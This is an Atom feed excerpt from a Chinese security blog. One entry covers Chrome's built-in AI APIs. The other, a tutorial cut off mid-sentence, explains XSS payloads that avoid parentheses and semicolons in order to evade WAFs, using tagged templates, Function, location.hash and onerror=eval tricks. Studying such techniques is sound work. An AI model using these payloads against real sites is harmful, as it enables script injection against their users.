    <id>https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:11:12.982Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子有個讀者分享給我他自己做的 Chrome extension：<a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。</p><p>由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。</p><p>算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。</p><span id="more"></span><h2><span id="chrome-的內建-ai-相關-api">Chrome 的內建 AI 相關 API</span></h2><p>如果想直接看 Google 的官方影片，可以參考這個：<a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>，文字版的話則是這篇：<a href="https://developer.chrome.com/docs/ai/built-in-apis">內建 AI API</a>。</p><p>Chrome 從 138 版本開始（寫這篇文章當下，最新穩定版是 140），提供了三個內建的 Web API：</p><ol><li>Translator API，翻譯</li><li>Language Detector API，偵測語言</li><li>Summarizer API，摘要文章</li></ol><p>這三個 API 在使用前會需要下載一些小模型，而整體的使用方式超級簡單，底下以翻譯的功能為例。</p><p>首先，會需要檢查是否可用以及是否需要下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>那個 monitor 就是監控下載進度用的，以翻譯來說滿快就可以下載完。</p><p>下載完之後，只要一行程式碼就可以翻譯：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 你好嗎?</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就這樣，沒了，超級簡單。</p><p>不過我試了一下，翻譯的品質沒有到很好，還是比不上直接去用真的大型 LLM 模型。但這功能可以直接內建在 Web API 裡，已經是一大進步了。</p><h2><span id="prompt-api">Prompt API</span></h2><p>除了開頭提的那三種，也有幾個還在測試中的 API，如 prompt API，就是可以直接下 prompt，跟平常使用 ChatGPT 等等的 API 差不多。目前要用的話需要去申請個 origin trial 拿 key，我之前有寫過怎麼申請：<a href="https://blog.huli.tw/2022/02/02/origin-trials-try-new-feature/">透過 Chrome Origin Trials 搶先試用新功能</a>。</p><p>我做了一個 demo 網站，有興趣可以玩玩看。因為 prompt API 的模型滿大的，建議在非手機網路環境下載，否則網路流量可能會爆掉。</p><p>另外，由於這個 API 還在測試階段，所以可能會有些問題。我一開始自己玩幾次都沒問題，但後來好像踩到了什麼 bug，每次問 AI 後都會直接系統級 panic，整個 Mac 當掉自動重開。</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p><img src="/img/chrome-built-in-prompt-api/p1.png" alt="Prompt API 示範網站截圖"></p><p>而這個 API 的使用方法也超簡單，第一步同樣是確認可用性以及下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 監控下載進度</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ AI 下載完成並已就緒！'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>下載完之後就可以用了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'你可以做什麼？'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>有更多參數可以調整啦，而且可以支援更複雜的對話，上面只是一個很基礎的範例而已。</p><p>儘管模型不大，可以做的事情也沒有其他大模型多，但是在瀏覽器上面放一個可以在本地跑的小模型，已經能分擔掉一部分需要 API key 才能做的事了。</p><p>現在 Chrome 也越來越積極把小模型直接包在裡面，提供更多原生的 AI 功能，而未來開發者也可以運用這些 Web API 直接開發產品，不需要自己準備後端。</p><h2><span id="其他瀏覽器呢">其他瀏覽器呢？</span></h2><p>Translation API 已經隨著 Chrome 138 一起正式發佈，Google 也訂出了相關標準，不過目前 Firefox 跟 Safari 則是還在很早期的階段。</p><p>Firefox 對目前的 API design <a href="https://github.com/mozilla/standards-positions/issues/1015">不太滿意</a>，有提了另一個<a href="https://github.com/mozilla/explainers/blob/main/translation.md">版本</a>。而 Safari 對目前的做法也有一些隱私與資安上的<a href="https://github.com/WebKit/standards-positions/issues/339">考量</a>，看起來還沒什麼進展。</p><p>至於其他更強大的 API 如 Prompt API，Firefox 直接對目前的提案給了個 <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a>，而 Safari <a href="https://github.com/WebKit/standards-positions/issues/495">那邊</a>看起來似乎沒什麼消息。</p><p>因此，這篇所提到的東西目前都只有 Chromium-based 的瀏覽器可以用，如 Chrome 與 Edge。未來其他瀏覽器會不會跟上，還是個未知數。</p><h2><span id="結語">結語</span></h2><p>各種 AI 與現有產品的整合勢在必行，瀏覽器身為使用者會重度使用的應用程式，更是兵家必爭之地。</p><p>例如說 Perplexity 自己推了個 <a href="https://www.perplexity.ai/comet">Comet Browser</a>，而 Chrome 也有越來越多內建的 AI 功能。</p><p>如果 AI 沒騙我的話，目前 Chrome 的 Prompt API 用的是 <a href="https://ai.google.dev/gemma/docs">Gemma</a>，Edge 上的是 <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>。</p><p>當瀏覽器內建的 AI 模型越來越進化，能做的事情就更多了。不過以目前的狀況來看，在本地能跑的模型絕對是很有限的，畢竟能用的資源就那些，效果還是沒有那些大模型來得好，但未來可以持續關注，應該會一直不斷進化。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子有個讀者分享給我他自己做的 Chrome extension：&lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。&lt;/p&gt;
&lt;p&gt;由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。&lt;/p&gt;
&lt;p&gt;算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>不需要括號跟分號的 XSS</title>
    <link href="https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:40:39.109Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子收到一封讀者來信，問我能不能寫一篇來講解 <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a> 這篇文章，說是這裡面的 payload 看不太懂。</p><p>因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="為什麼我們需要這種-payload">為什麼我們需要這種 payload？</span></h2><p>有些人會想說既然都可以執行 JavaScript 了，幹嘛還要這麼多限制？而最大的原因是：WAF（Web Application Firewall），最常見的就是 Cloudflare 的 WAF，只要有一點風吹草動就把你擋下來，儘管你可以插入 HTML 或甚至執行 JavaScript，但只要含有某些 pattern 就直接把你擋掉。</p><p>再者，有些情境會造成部分字元不可用，這時候就需要發揮創意，想辦法不用這些字元來湊出可以執行的程式碼。</p><h2><span id="先從不需要括號開始">先從不需要括號開始</span></h2><p>在 JavaScript 中似乎要執行函式就一定要括號，那如果不能用括號該怎麼辦呢？</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>第一種方法有些開發者應該用過，但可能一時不會想到。某些 JavaScript 的 library 會用 template strings 來執行函式，如 <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不懂的人乍看之下會想說怎麼這樣寫，難道不是個 SQL injection 漏洞嗎？</p><p>如果只用了 template strings 的話，那確實是，但注意前面多了個 <code>sql</code>，這就不一樣了，就不只是單純的字串拼接，而是函式執行了，是一個 JavaScript 的語法，可以看底下範例：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們在前面加上一個函式時，函式的參數會收到原始字串中固定的部分，以及被插入的變數，就可以直接用這些資訊做 sanitization，來避免 SQL injection，這種用法叫做 tagged templates strings。</p><p>最後達成的效果就是看起來只是字串取代，但背後是函式執行而且有做 sanitization，所以其實是安全的。</p><p>利用這個概念，就可以寫出不需要括號的 XSS payload：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但有些人會問說，這樣的話就只能執行 alert 而已，有沒有辦法執行任意程式碼呢？例如說 fetch 好了，我如果想要 POST 的話，一定要用到第二個參數：<code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>，而上面的方法第二個參數會是個陣列，因此 fetch 會報錯，就跑不動了。</p><p>針對這個問題，我們可以先利用 function constructor，傳入字串來建立一個函式，不熟這個的之後可以去讀：<a href="https://blog.huli.tw/2020/12/01/write-conosle-log-1-without-alphanumeric/">如何不用英文字母與數字寫出 console.log(1)？</a>或是<a href="https://blog.huli.tw/2021/06/07/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS 挑戰解法：限定字元組合程式碼</a>，但我還是先簡單介紹一下。</p><p>在 JavaScript 中，可以用 <code>new Function(code)</code> 來動態建立出一個函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>而那個 new 其實不是必須的，拿掉也無妨。再者，動態建立的函式是可以傳參數的：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最後一個參數會被當作實際的程式碼，前面的都會被當成是函式的參數，並且回傳建立好的函式。</p><p>因此，我們可以利用這點搭配剛剛講的 tagged templates，從字串建立函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>那這個建立出來的函式，要怎麼執行呢？很簡單，再用一次相同作法就好：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 最後多加兩個 ``，就跟前面講過的 alert`1` 用法一樣</span><span class="token comment">// 怕 markdown parser 出錯，多加一個空格，但有沒有都一樣</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>因為裡面的 <code>alert(1)</code> 是字串，所以括號可以直接用 unicode 來取代，這也是合法的字串表示方法，會變成：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 其實就是 alert(1) 啦</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>這樣整個 payload 就沒有用到任何括號，但又能執行任意程式碼了！</p><p>這個做法用到的是執行 template 時的第一個參數，也就是固定的部分，但我們也可以用到後面的參數。舉例來說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當我們同時傳入固定字串與參數時，第一個參數是所有固定的部分，這個剛提過了，而第二個參數則是我們動態傳入的變數 <code>hello</code>。</p><p>用上面的方法建立函式時，如同剛講過的，最後的參數會被當作 function body：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>因此這個 <code>hello</code> 就是我們可以控制的部分了。因為它是動態傳入的，所以能玩的方法就很多了，可以搭配網站上我們能控制的地方。舉例來說，<code>location.hash</code> 會回傳 URL 上的 hash 如 <code>#test</code>，只要加上 slice(1) 就可以把前面的 # 去掉，結合起來就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 從剛剛講到的這個開始</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 先換成 location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 把 slice(1) 換成 ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// 最後再加上 `` 執行函式</span><span class="token comment">// 記得把網站的 hash 弄成 #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>就組出了一個不用括號但卻能執行任意程式碼的 payload，把實際要執行的字串放在 hash，動態去執行 hash 中的程式碼。</p><h3><span id="onerror-事件">onerror 事件</span></h3><p>前面寫這麼多其實還沒進入正題，開頭提的原文發現的是另外一種更巧妙的方法。</p><p>在瀏覽器環境中，利用 <code>window.onerror</code>，可以接收到所有沒有被 catch 的錯誤事件：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>話說上面這段程式碼直接在 DevTools 執行會不起作用（原因在原文有講到，在 console 直接執行時錯誤不會被丟到 onerror），請開一個 HTML 來測。</p><p>總之呢，上面的程式碼告訴我們在 Chrome 上，被捕捉到的錯誤訊息會是 <code>Uncaught hello</code>。</p><p>那如果我們直接把 <code>onerror</code> 換成 <code>alert</code> 呢？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>你就會直接看到一個 <code>Uncaught hello</code> 的 popup。上面的 payload 是沒有用到任何括號的，也達成了執行函式的目的。</p><p>再進一步延伸，就是把 <code>onerror</code> 換成 <code>eval</code>，把錯誤訊息當成 JavaScript 程式碼來執行，但問題是換成 eval 之後，要怎麼湊出合法的程式碼？</p><p>由於被捕捉到的錯誤訊息會是：<code>Uncaught &#123;payload&#125;</code>，這整句會被當成是程式碼來執行，因此只要把 payload 換成：<code>=alert(1)</code>，整句就是：<code>Uncaught=alert(1)</code>，把錯誤訊息中的 <code>Uncaught</code> 當成是變數來用了，如此一來就是合法的程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果還是不知道原理的話，把 eval 換成 console.log 就很清楚了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>再來，由於 throw 後面接的是字串，所以可以跟前面一樣用 encoding 來代替，用 <code>\x28</code> 或是 <code>\u0028</code> 都行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就湊出了一個不需要括號的 payload。</p><h2><span id="再省去分號">再省去分號</span></h2><p>Tagged template strings 已經不需要分號了，因此我們繼續沿著 onerror 這條路走，看看怎麼把分號省掉。</p><p>一個簡單直覺的想法是用逗號就好（為了方便舉例，底下都用 alert 了）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>但跑了以後會發現報錯：<code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>，這是因為 throw 不是個 expression 而是 statement，因此不能放在逗號後面，我們需要別的方法。</p><p>在 JavaScript 中就算你沒有用 if 或其他需要區塊的程式碼，也可以自己用區塊把程式碼包起來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>這在開發上是確實會用到的（儘管不多），用途就是刻意建立區塊並且搭配 <code>let</code> 或是 <code>const</code> 的關鍵字，讓變數只活在這個區塊裡。</p><p>只要利用區塊，就可以達成不用分號也能分隔程式碼的目的了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>除了利用區塊以外，還有其他更酷炫的方法。</p><p>先來講一下 JavaScript 中逗號的用法，基本上就是串聯幾個 expression 並回傳最後一個的結果，如：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>if</code> 中的表達式會依序執行 <code>console.log(1)</code>、<code>alert(1)</code> 最後回傳 true，因此 <code>if</code> 的結果成立，印出 true。</p><p>而 <code>throw</code> 後面可以接一個表達式，因此你可以：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會先執行 <code>onerror=alert</code>，再執行 <code>throw 1</code>，跟我們用 <code>&#123;&#125;</code> 的做法達成的效果是一樣的，這就是另外一種不需要分號的方法。</p><p>Chrome 的地方就到這裡結束了，接下來都是為了 